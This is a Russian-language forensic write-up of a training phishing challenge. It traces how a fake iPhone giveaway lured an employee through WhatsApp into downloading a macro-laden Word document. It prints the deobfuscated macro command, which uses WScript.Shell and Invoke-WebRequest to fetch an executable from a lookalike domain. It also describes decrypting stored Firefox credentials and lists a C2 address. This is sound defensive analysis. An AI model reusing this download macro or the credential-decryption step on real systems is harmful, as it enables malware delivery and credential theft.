Phishy - смотрим на атаку

exc3pti0n

Сценарий

Сотрудник компании повелся на фейковую раздачу iPhone. Наша команда взяла образ диска системы сотрудника для дальнейшего анализа.

Вам как SOC-аналитику поручено определить, каким образом система была скомпрометирована.

Смотрим на атаку

Для анализа образа диска будет использоваться инструмент FTK Imager.

Первым делом осмотримся в классических рабочих местах пользователя – рабочий стол, папка загрузок, документов и пр.. В загруженных пользователем файлах лежит подозрительный документ Iphone-Winners.doc.

Теперь нужно понять, как этот документ оказался в системе.

Первое предположение: Пользователь загрузил документ с вредоносного ресурса.

Для этого мы можем проанализировать историю посещений в файлах браузеров. В папке Program Files посмотрим, какие браузеры установлены в системе.

Получается, что пользователь имеет на устройстве браузеры Mozilla Firefox и Internet Explorer. Вряд ли пользователь просто так установит другой браузер, поэтому сразу пойдем смотреть историю посещений в %UserProfile%\AppData\Roaming\Mozilla\Firefox\Profiles\places.sqlite.

Похоже, ничего интересного тут нет. Но..

..Будем честны

Как оказалось, инструменты просмотра SQLITE-файлов могут неправильно интерпретировать информацию, которую хранит FireFox. Если говорить про places.sqlite, то основная информация об истории посещений сайтов хранится не в нем, а в places.sqlite-wal, который не просмотришь просто так. Моей попыткой было вытащить строки из этого файла при помощи strings64.exe в Windows, но их этого ничего хорошего не вышло. Пришлось прибегнуть к strings в Linux и посмотреть все это дело при помощи grep – и это, кстати, сработало.

Теперь мы видим, что пользователь переходил по ссылке на страницу login.php, что говорит нам о том, что он свернул не на ту дорожку и залогинился на фишинговой страничке. А вот, похоже, и она:

Да, про качество PNG скажешь мало хорошего.. И все же, это дает нам немного полезной информации. Кстати, изображение вытащено из %AppData%\Local\Mozilla\Firefox\Profiles\<Profile>\thumbnails. На всякий случай - здесь хранятся всякие скриншоты и превью сайтов. Повезло, что нам удалось на него наткнуться.

И кстати, почему мы можем быть уверены в том, что пользователь залогинился? Для этого существуют файл базы данных key4.db – ключ шифрования, и файл logins.json, в котором Firefox хранит зашифрованные креды пользователя. И это правда смешно – ведь ключ хранится в том же месте, что и logins.json, а значит, его легко расшифровать – что мы и сделаем с помощью инструмента PasswordFox. Правда, показывать данные не будем – неприлично. Но знать надо – что такое есть, и почитать об этом тоже не вредно: https://habr.com/ru/companies/ruvds/articles/687718/.

Однако, несмотря на все это, никаких загруженных файлов с вредоносных ресурсов мы не замечаем. Приходится переходить ко второму предположению.

Второе предположение: Пользователь загрузил документ с почтового письма/месседжера.

Снова осмотримся в системе, и заметим, что установлен месседжер WhatsApp:

Кстати!

Информацию по криминалистическим артефактам WhatsApp можно посмотреть тут: WhatsApp на ладони: где и как можно обнаружить криминалистические артефакты?

Конечно, первое, что хочется сделать – посмотреть историю сообщений. WhatsApp хранит ее в формате базы данных в файле msgstore.db. Поэтому, с помощью WhatsAppViewer, удается посмотреть чат – для удобства сообщения экспортируем как текстовый файл, содержимое которого следующее:

Получается, что информация из чата подтверждает, что жертва, общаясь с злоумышленником, получает ссылку http[://]appIe[.]com/IPhone-Winners.doc на загрузку вредоносного документа.

Для понимания вредоносной активности заглянем внутрь документа, и первое, что нас встречает – уведомление о том, что в документе содержатся макросы. Содержимое документа выглядит так:

По всей видимости, в нем записаны те, кто выиграл IPhone?)

Но это нам не особо интересно. Нам интересно, что прячется в этом документе. Чтобы анализ всего этого дела не приносил дискомфорта, используем инструмент oledump для анализа потоков данных и olevba - для извлечения макросов.

Первым делом посмотрим на потоки данных:

Теперь мы знаем, что вредоносные макросы содержатся в потоках 9 и 10. Выгрузим их содержимое, и начнем с потока 9:

Здесь вызывается функция Document_open(), и больше ничего интересного мы пока не видим.
Посмотрим на поток 10:

Получаем обфусцированный код, хоть и обфусцированный довольно просто. По сути, каждый вызов функции Chr() возвращает определенную букву из таблицы ASCII. С помощью инструмента olevba и ключа –deobf деобфусцируем полученный код.

CreateObject(WScript.Shell).Run invoke-webrequest - Uri  'http[://]appIe[.]com/Iphone[.]exe' -OutFile 'C:\Temp\IPhone.exe' -UseDefaultCredential, 0, True

Выходит, что макрос выполняет загрузку исполняемого файла Iphone.exe в директорию \Temp как IPhone.exe.

Для того, чтобы понять, что представляет из себя этот файл, посчитаем его хеш-сумму следующей командой:

certutil –hashfile .\IPhone.exe

и закинем ее в VirusTotal:

Мы можем себе позволить такую роскошь, так как это тренировочное задание. Однако в реальных условиях маловероятно, что детект будет успешным, да и не всегда попадание такого файла в интернет хорошо обернется. Поэтому приходится прибегать к анализу ВПО. Мы не будем углубляться в это подробнее, лишь проведем быстрый базовый статический анализ, чтобы подтвердить вредоносность и посмотреть, что этот файл представляет из себя. Для этого используем pestudio.

Взглянем на DLL-библиотеки, которые импортирует исполняемый файл:

Сразу бросается в глаза использование WSOCK32.dll и WS2_32.dll – сетевых DLL, которые используются программами для подключения к сети и выполнения каких-то сетевых задач. Вторая интересная библиотека – ADVAPI32.dll – обеспечивает доступ к Диспетчеру служб и реестру. Библиотека MSVCRT.dll позволяет исправлять ошибки, связанные с совместимостью. Ну а без библиотеки KERNEL32.dll никуда – она содержит базовые функции, такие как управление памятью, файлами и устройствами.

Теперь посмотрим на некоторые интересные функции, которые вызывает ВПО.

Создание мьютекса – такая штука, которая позволяет ВПО понять, существует ли уже его экземпляр в системе. Ходят легенды, что это неплохой индикатор компрометации)
Импорт всяких функций, позволяющих подключаться к удаленному сокету и взаимодействовать с ним.

Чтение и создание файлов, взаимодействие с процессами, изменение переменных среды и пр.

К сожалению, многие функции ВПО урезаны, так как это тренировочное задание. И все же, основываясь на импортируемых функциях, осмелимся предположить, что это бекдор.

Теперь надо бы посмотреть, как вредонос взаимодействует с интернетом, чтобы заиметь индикатор компрометации. Для этого можно воспользоваться InetSim, чтобы смоделировать сетевые службы, которые нужны вредоносу – да, всего лишь моделируем, дабы не распускать ему ручки.

Однако вывод инструмента ничего не показал. Выходит, вредонос ничего не запрашивает. Тогда запустим анализатор трафика Wireshark и посмотрим, какие соединения пытается установить наш хост.

Наблюдаем такую картину: наш хост 192.168.1.50 пытается установить TCP-соединение с хостом 155.94.69.27 на порт 4242. Получается, мы получили IOC, и это C2 злоумышленника.

На деле, суть задачи заключалась в том, чтобы понять, как система была скомпрометирована, и на этом этапе атака была предотвращена. Заметим, что файл не выполнялся в системе: заглянем в куст скомпрометированного пользователя NTUSER.DAT в ключ реестра Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{...}\Count и увидим, что в последних запущенных пользователем файлов нет нашего IPhone.exe:

Учитывая, что это единственный загруженный в систему вредоносный файл, который не был выполнен, вредоносных действий на системе быть и не могло.

Инструменты, которые пригодились:

exc3pti0n, [14.01.24]::ch: https://t.me/exc3pt10n_ch

Phishy - смотрим на атаку

Report Page